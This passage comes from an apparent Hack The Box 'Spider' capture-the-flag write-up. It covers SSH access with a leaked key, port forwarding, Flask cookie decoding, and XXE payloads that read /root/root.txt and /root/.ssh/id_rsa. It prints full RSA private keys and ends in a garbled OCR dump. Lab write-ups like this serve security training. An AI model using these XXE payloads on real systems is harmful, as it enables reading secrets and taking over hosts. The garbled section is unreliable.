CeRYbd+dgMrWr/3pULVJfLLzyx05zBwdrkXKZYVeoMsY8+Ci/NzEjwMwuq/wHNaG
rbJt/wKBgQCTNzPkU50s1Ad0J3kmCtYo/iZN62poi fJI5hpuWgLpWSEsD05L09y0
TTppoBhfUJqKnpa6eCPd+4iltr2JT4rwY4EKG0fjWwrmZwAK7GnW45WFtCBCJI f6
IleM+8qziZ8YcxqeKNdpcTZkl2VleDsZpkFGib0NhKaDN9ug0gpRXw==
-----END RSA PRIVATE KEY-----
```

we copy the key then we have to execute `chmod` on the key to make it detected:

code-chmod on key

```
chmod 600 chiv.key
```

Then we use the `chiv key` to have an interactive shell after ssh alongside chiv

code-ssh@chiv

```
ssh -i chiv.key chiv@spider.htb
```



```
1/2 + [ ] [ ]
2: chiv@spider: ~
(root@kali)-[/home/leshack98/project/HTB/spider]
# ssh -i chiv.key chiv@spider.htb
Last login: Fri May 21 15:02:03 2021 from 10.10.14.7
chiv@spider:~$
```

Privilege Escalation

The output of the `ps aux` command shows a `uwsgi` process running as `root`:

Looking at `listening ports`, we discover a local webserver on `port 8080`:

code- listenig port

```
ss -lntp
```

```
2: chiv@spider: ~  
(root@kali)~[/home/leshack98/project/HTB/spider]  
# ssh -i chiv.key chiv@spider.htb  
Last login: Wed Oct 27 22:42:54 2021 from 10.10.14.78  
chiv@spider:~$ ss -lntp  
State      Recv-Q      Send-Q      Local Address:Port      Peer Address:Port  
LISTEN     0            128         127.0.0.53%lo:53        0.0.0.0:*  
LISTEN     0            128         0.0.0.0:22              0.0.0.0:*  
LISTEN     0            80          127.0.0.1:3306          0.0.0.0:*  
LISTEN     0            128         0.0.0.0:80              0.0.0.0:*  
LISTEN     0            100         127.0.0.1:8080          0.0.0.0:*  
LISTEN     0            128         [::]:22                 [::]:*  
chiv@spider:~$  
chiv@spider:~$  
ssh> -L 8000:127.0.0.1:8080  
Forwarding port.
```

Then we forward our **local port 800** to **port 8080** on the remote target using **ssh** by typing this which will give you the ssh inside **chiv**


code- get ssh to forward the webserver

```
~C
```


code-forwarding port

```
-L 8000:127.0.0.1:8080
```

We can now access the **web server** by browsing to `http://localhost/8000`. A login form is shown:




Any **username** works here, as **no password** is required. We are redirected to a **shopping cart** page:



This seems to be an early beta or a js template since the `continue Shopping` and `checkout functionalities` are not implemented. Clicking the `Logout` button takes us back to the `login` form. After viewing the page source and inspecting the form contains a `hidden input` called `version`, which defaults to the `value 1.0.0`.

```
<input type="hidden" id="version" name="version" value="1.0.0">
```




We perform a new `login` and retrieve our `session cookie` so that we can use `flask_unsign` to decode the cookie

code-flask --decode cookie

```
flask-unsign --decode --  
cookie'.eJxFjUFvgYAYhv_KwnkHtPEwj51gQwMGkQ_lpqMJVrCmNWm7pv99W7Jl5_d5nveBwi0Gld_Qy4By  
LXv_y5HrX0U811meZLhsXxVq1dQoL-Yaer2g5jfN6QTl-  
fgGY41gu.YXnpXA.cKSG93T7Qs89GmbkBX5DLKeEgn4'
```

The session object contains a `base64-encoded lxml field`:

```
{'lxml':  
b'PCEtLSBBUEkgVmVyc2lvbiAxLjAuMCAtLT4KPHJvb3Q+CiAgICA8ZGF0YT4KICAgICAgICA8dXNlcm5hbWU+  
'points': 0}
```



```
(leshack98@kali)-[~]  
$ sudo su  
[sudo] password for leshack98:  
(root@kali)-[/home/leshack98]  
# flask-unsign --decode --cookie '.eJxtjr1uwyAYRV-LYu6A03Sx1MXCPyUNFP8NBda7RMIXUCv14DrKuzceunW80vfo3hvyS_AovaGnHqVI5Kyw-dLykUpQc5QhUwd1_OkrM3S12LflFmREH6CoyTwIXJ3sOF9F  
c1MHjw2gmV1MVVwycZGt2ywJ1xZynG-N4Wr-5LNTLLBjuKqR6vOgVbyIjlfX0Wv9L FHZ4jQ_edr6Wrj_UlEcHL11bAiw2FboMxMqFYy098wGz667eENl0JFWz_ot3pHX61AXJG8Bu6P6Ppa4jzN0rx_Rc-8Vag.YXndng.bwm  
s3SPaG1Bzr0bIuFp7QmsKHwM'  
{'lxml': b'PCEtLSBBUEkgVmVyc2lvbiAxLjAuMCAtLT4KPHJvb3Q+CiAgICA8ZGF0YT4KICAgICAgICA8dXNlcm5hbWU+bGVzbGV5PC91c2VybmFtZT4KICAgICAgICA8aXNfYWRTaW4+MDwvaXNfYWRTaW4+CiAgICA8L2R  
hdGE+Cjwvc9vdD4=', 'points': 0}  
  
(root@kali)-[/home/leshack98]  
# echo -n PCEtLSBBUEkgVmVyc2lvbiAxLjAuMCAtLT4KPHJvb3Q+CiAgICA8ZGF0YT4KICAgICAgICA8dXNlcm5hbWU+bGVzbGV5PC91c2VybmFtZT4KICAgICAgICA8aXNfYWRTaW4+MDwvaXNfYWRTaW4+CiAgICA8L2  
RhdGE+Cjwvc9vdD4= | base64 -d  
<!-- API Version 1.0.0 -->  
<root>  
  <data>  
    <username>lesley</username>  
    <is_admin>0</is_admin>  
  </data>  
</root>  
  
(root@kali)-[/home/leshack98]  
#
```

We then decode the `lxml`

code decoding lxml


```
echo -n  
PCEtLSBBUEkgVmVyc2lvbiAxLjAuMCAtLT4KPHJvb3Q+CiAgICA8ZGF0YT4KICAgICAgICA8dXNlcm5hbWU+  
| base64 -d
```

And after decoding the `lxml` we obtain a XML code

```
<!-- API Version 1.0.0 -->  
<root>  
  <data>  
    <username>lesley</username>  
    <is_admin>0</is_admin>  
  </data>  
</root>
```

The `API Version (1.0.0)` matches the value sent from the `login form`. In fact, if we intercept a `login request` with `Burp Proxy` and change the `version value` to an arbitrary string of our choosing, the same string is reflected back in the `generated XML code` that is added to our session cookie:


We then **send** the **request** and we **copy** the set-cookie session from the **response** then we **follow-redirect** then we paste the cookie to cookie session in the **request that was redirected to**.we then send the **request** and we get the **etc/passwd** in the **response**



Since we believe the application is running with root privileges, we can get the `root.txt` by changing our payload to this `/root/root.txt` file as our external entity. Our payload looks as follows:


code -payload-root.txt

```
<!DOCTYPE root [<!ENTITY admin SYSTEM 'file:///root/root.txt'>]><!--
```



we then repeat this process . We then **send** the **request** and we **copy** the set-cookie session from the **response** then we **follow-redirect** then we paste the cookie to cookie session in the **request that was redirected to**.we then send the **request** and we get the **root.txt** in the **response**]


we get the root.txt from the response;



Lets get the **rsa key** so that we can ssh the root .we set the /root/.ssh/id_rsa file as our external entity. Our payload looks as follows:

code-payload-.ssh

```
<!DOCTYPE root [<!ENTITY admin SYSTEM 'file:///root/.ssh/id_rsa'>]><!--
```



we then repeat this process . We then **send** the **request** and we **copy** the set-cookie session from the **response** then we **follow-redirect** then we paste the cookie to cookie session in the **request that was redirected to**.we then send the **request** and we get the **id_rsa key** in the **response**]

Send

Cancel

< >

Target: http://

Request

Pretty

Raw

ln

Actions

```

1 GET /site HTTP/1.1
2 Host: 127.0.0.1:9000
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate
7 Origin: http://127.0.0.1:9000
8 Connection: close
9 Referer: http://127.0.0.1:9000/Login
10 Cookie: session=
e3xdUetgziAY_Csdzj0ELUM9IKl0WqAJyRfJDYxTLA0dZKzg-N9rp9Nde9zZ3dnHLXAX74L5LXhagmncE4svkjE
MRB6GMHeq2za50aTa3ITN3bFWYKngdM93qlORIIY2h3OKsajavkYZdn0ltgzAfeARwArUw9rMZJz5d0C1NXSQ
0ky7stztlUpSBNTpbtpjgqyHgRfClmXsDzMK0dfg5L3veqEL20ISjAjv5yGd9JG19LT0fC1Wph0Jec9VHvk8J
o0RH02--Yf00HaMo5IXyoxys70HebRhmKucNukXqR0sjnyqcRf_58o8_jvtKKumNgZChCboDYXYTK2rce012N3
SsswXQ_L460ePzifL204gdeCT_dT63778Jbg_B_vdph-0wRzdvdv0G1LE_YXnzsw_3i8CDk-APS3fIz6dpfg_14_
IUu
11 Content-Length: 32
12
13 Upgrade-Insecure-Requests: 1
14
15

```

0 matches

Response

Pretty

Raw

Render

ln

Actions

```

18 <body>
19
20
21
22 <div class="wrap cf"> root ssh
23 <h1 class="proj Title" id="welcome">
24 Welcome, ----BEGIN RSA PRIVATE KEY-----
25 MIIeowIBAAKCAQEAl/dn2XpJQuIw49CVNdAgde05WZ47tZDYZ+7tXD8Q5tfqmyxq
26 gsg0skHffuzj q8v/q4aBfm6lQSn47G8foq0G01DvuZkWFAATvTjliXuE7gLCItPt
27 iFtbg7RQV/xaTwAmdRfRLb7x63TG6mZDRkvFvGfihWqAnkuJNqoVJcJlgIXLuwUvk
28 4d3/Vo/MdEub02ha7Rw9oHSYKR4pIgv4mDwxGGL+fwo6hFNCZ+YK96wMLJc3vo5Z
29 EgkdKXy3RnLKvtxjpIlfmAZGu0T+RX1GLmoPDqoDWRbWU+wdbES35vqxH0uM5WUH
30 vPt5ZDGikID4Tft57udHxPiSD6YBhLT5ooHffQIDAQABAoIBAFxB9Acg6Vc0k0/N
31 krhfYUuo4j7ZBHDfJbI7aFinZPBWrtq75VH0eexud2vMDxAeQfJ1Lyp9q8/a1mdb
32 sz4EkuCrQ0509QthXJp0700+8t24WMLAHKW6qN1VW61+46iwc6iEtBZspNwIQjbn
33 rKwB1mMiQnAyzzzDKtNu9+Ca/kZ/cAjLpz3m1NW7X//rcDL8kBGs8RfuHqz/R4R7e
34 HtCvxuX0Fnyo/I+A3j1dPHoc5UH56g1W82NwTCbtCFmfeUsU0ByLcg3yEypC10/M
35 s7pWQ1e4m27/NmU7R/cslc03YFQxow+CIbdd59dBKTZKErdiMd49WiZSxizL7Rdt
36 WBtACslUgYEAyU9azupb71YnGQVLpdT0zoTD6ReZlBDGeqz4BD5xzbkdj7M0T5Dy
37 R335NRBf7EJC00DXNVSY+4vEXqMTx9eTxpMtsP6u0WvIYwy9C7K/wCz+WXNV0zc0
38 kcSQH/Yfkd2jADkMxHXkz9THXCChOfEt7IUmNSM2VBKb1xBMkuLXQbMCgYEAwUBS
39 FhRnRIB3os7qYayE+XrGVdx/KXcKva6zn20YktWYlH2HLfXcFQQdr30cPxxBSriS
40 BAKYcdFXSUQDPJ1/qE210vDLmJFu4Xs7ZdGG8o5v8JmF6TLTw10Vi45g38DJagEL
41 w42zV3vV7bsAhQsMvd3igLEoDFt34j09nQv9KBcCgYEAk8eLVAY7AxFTljKK++ui
42 /Xv9DWnjtz2UFo5Pa14j00+Wq7C40rSfBth1Tvz8TCw+ovPLSD0YKODLgOWaKcQZ
43 mVaF3j640sgyzH0Xe7T2iq788NF4GZuXHcL8Qlo9hqj7dbhrpPUeyWrcBsd1U8G3
44 AsAj8jIt0b6HZHn0owefGX0CgYAICQmgu2VjZ9ARp/Lc7tR0nyNCDLII4ldC/dGg
45 LmQYLuNyQSnukwtNYGdvLY8oHJ+mYLhJjGYUTXUIqdhMm+v7p87fSmqBVoL7BjT
46 Kfwnd761zVxhDuj5KPC9ZcUnaJe3XabZU7oCSDbj9K0X5Ja6CLDRswMP31jnW0j
47 64yyLwKBgBRKfxxuGkB9IMmcN19zMWA6akE0/jD6c/51IRx9lye0mWFPqitNenWK
48 teYjUjFTLgoi8MSTPAVufpdQV4128HuMbMLVpHYOVVKH/noFetpTE2uFStsNrMD8
49 vEgG/fMJ9XmHVsPePviZBfrnszhP77sgCXX8Grhx9GLVMUdxeo+j
50 -----END RSA PRIVATE KEY-----
51 </h1>

```

0 matches

```

-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAl/dn2XpJQuIw49CVNdAgde05WZ47tZDYZ+7tXD8Q5tfqmyxq
gsg0skHffuzj q8v/q4aBfm6lQSn47G8foq0G01DvuZkWFAATvTjliXuE7gLCItPt
iFtbg7RQV/xaTwAmdRfRLb7x63TG6mZDRkvFvGfihWqAnkuJNqoVJcJlgIXLuwUvk
4d3/Vo/MdEub02ha7Rw9oHSYKR4pIgv4mDwxGGL+fwo6hFNCZ+YK96wMLJc3vo5Z
EgkdKXy3RnLKvtxjpIlfmAZGu0T+RX1GLmoPDqoDWRbWU+wdbES35vqxH0uM5WUH
vPt5ZDGikID4Tft57udHxPiSD6YBhLT5ooHffQIDAQABAoIBAFxB9Acg6Vc0k0/N
krhfYUuo4j7ZBHDfJbI7aFinZPBWrtq75VH0eexud2vMDxAeQfJ1Lyp9q8/a1mdb
sz4EkuCrQ0509QthXJp0700+8t24WMLAHKW6qN1VW61+46iwc6iEtBZspNwIQjbn
rKwB1mMiQnAyzzzDKtNu9+Ca/kZ/cAjLpz3m1NW7X//rcDL8kBGs8RfuHqz/R4R7e
HtCvxuX0Fnyo/I+A3j1dPHoc5UH56g1W82NwTCbtCFmfeUsU0ByLcg3yEypC10/M
s7pWQ1e4m27/NmU7R/cslc03YFQxow+CIbdd59dBKTZKErdiMd49WiZSxizL7Rdt
WBtACslUgYEAyU9azupb71YnGQVLpdT0zoTD6ReZlBDGeqz4BD5xzbkdj7M0T5Dy
R335NRBf7EJC00DXNVSY+4vEXqMTx9eTxpMtsP6u0WvIYwy9C7K/wCz+WXNV0zc0
kcSQH/Yfkd2jADkMxHXkz9THXCChOfEt7IUmNSM2VBKb1xBMkuLXQbMCgYEAwUBS
FhRnRIB3os7qYayE+XrGVdx/KXcKva6zn20YktWYlH2HLfXcFQQdr30cPxxBSriS
BAKYcdFXSUQDPJ1/qE210vDLmJFu4Xs7ZdGG8o5v8JmF6TLTw10Vi45g38DJagEL
w42zV3vV7bsAhQsMvd3igLEoDFt34j09nQv9KBcCgYEAk8eLVAY7AxFTljKK++ui
/Xv9DWnjtz2UFo5Pa14j00+Wq7C40rSfBth1Tvz8TCw+ovPLSD0YKODLgOWaKcQZ
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AsAj8jIt0b6HZHn0owefGX0CgYAICQmgu2VjZ9ARp/Lc7tR0nyNCDLII4ldC/dGg
LmQYLuNyQSnukwtNYGdvLY8oHJ+mYLhJjGYUTXUIqdhMm+v7p87fSmqBVoL7BjT
Kfwnd761zVxhDuj5KPC9ZcUnaJe3XabZU7oCSDbj9K0X5Ja6CLDRswMP31jnW0j
64yyLwKBgBRKfxxuGkB9IMmcN19zMWA6akE0/jD6c/51IRx9lye0mWFPqitNenWK
teYjUjFTLgoi8MSTPAVufpdQV4128HuMbMLVpHYOVVKH/noFetpTE2uFStsNrMD8
vEgG/fMJ9XmHVsPePviZBfrnszhP77sgCXX8Grhx9GLVMUdxeo+j
-----END RSA PRIVATE KEY-----

```

After copying the key to our machine we can use it to ssh to the system as root :

code-chmod on root key

```
chmod 600 root.key
```

Then we use the **root key** to have an interactive shell after ssh alongside root

code-ssh@chiv

```
ssh -i root.key root@spider.htb
```

```
(root@kali)-[/home/leshack98/project/HTB/spider]
# vi root.key

(root@kali)-[/home/leshack98/project/HTB/spider]
# chmod 600 root.key

(root@kali)-[/home/leshack98/project/HTB/spider]
# ssh -i root.key root@spider.htb
Last login: Fri Jul 23 14:11:40 2021
root@spider:~# whoami
root
root@spider:~# ls
root.txt
root@spider:~# cat root.txt
20a77a0f6654dbc267271db4e4ddcb61
root@spider:~# ls -la
total 56
drwx----- 7 root root 4096 May 18 00:23 .
drwxr-xr-x 24 root root 4096 Jul 23 14:12 ..
lrwxrwxrwx 1 root root 9 Apr 24 2020 .bash_history -> /dev/null
-rw-r--r-- 1 root root 3106 Apr 9 2018 .bashrc
drwx----- 3 root root 4096 May 18 00:23 .cache
drwx----- 3 root root 4096 May 18 00:23 .gnupg
-rw----- 1 root root 42 May 4 15:38 .lesshst
drwxr-xr-x 3 root root 4096 May 18 00:23 .local
lrwxrwxrwx 1 root root 9 Apr 24 2020 .mysql_history -> /dev/null
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
-rw----- 1 root root 33 Oct 27 21:31 root.txt
drwx----- 2 root root 4096 May 18 00:23 .ssh
drwxr-xr-x 2 root root 4096 May 18 00:23 .vim
-rw----- 1 root root 11927 May 12 13:37 .viminfo
root@spider:~#
```

```

1  Raw  sender  in  Actions  ~
2
3  <link rel="stylesheet" href="/static/style.css">
4  <script src="/static/modernizr.min.js" type="text/
5  /script">
6
7  <meta name="viewport" content="width=device-width
8  />
9  </head>
10
11 <body>
12
13 <div class="wrap of">
14
15 <h1 class="projTitle" id="welcome">
16
17 Welcome, -----BEGIN RSA PRIVATE KEY-----
18
19 MIEowIIBAAKCAQEA/oh2ypJgIw43CvHhAgdsoCOWZ47h
20 g9d9d9HfFuzg9g/4q48fWdL35+7708f9d9L3buz2d98f
21 fJfBg799Z/5wTskm9fNLbZ+837086Z99f/9f/18q9d
22 4dS/9o/9dL3b2h979d9o378794I9g/49d9d9L+f9d9f
23 E9d9f9g99f9v99g9ZLf+9d9d9f+9d9L9f9d99d999f9d9f
24 f9d9d9d9d9d9f179d9d9f9S9979dL39d9f9d99d9d9d9
25 k9r9f9d94729d9f36179f9d9Z9d9f979d9d9d9d9d9d9
26 9d9E9d9f9d99d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9
27 9d9d9f9d99d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9
28 H9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9
29 H9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9
30 H9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9
31 H9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9
32 H9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9
33 H9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9
34 H9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9
35 H9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9
36 H9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9
37 H9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9
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45 H9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9
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47 H9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9
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49 H9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9
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51 H9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9
52 H9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9
53 H9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9
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55 H9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9
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69 H9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9
70 H9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9
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96 H9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9
97 H9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9
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99 H9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9
100 H9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9

```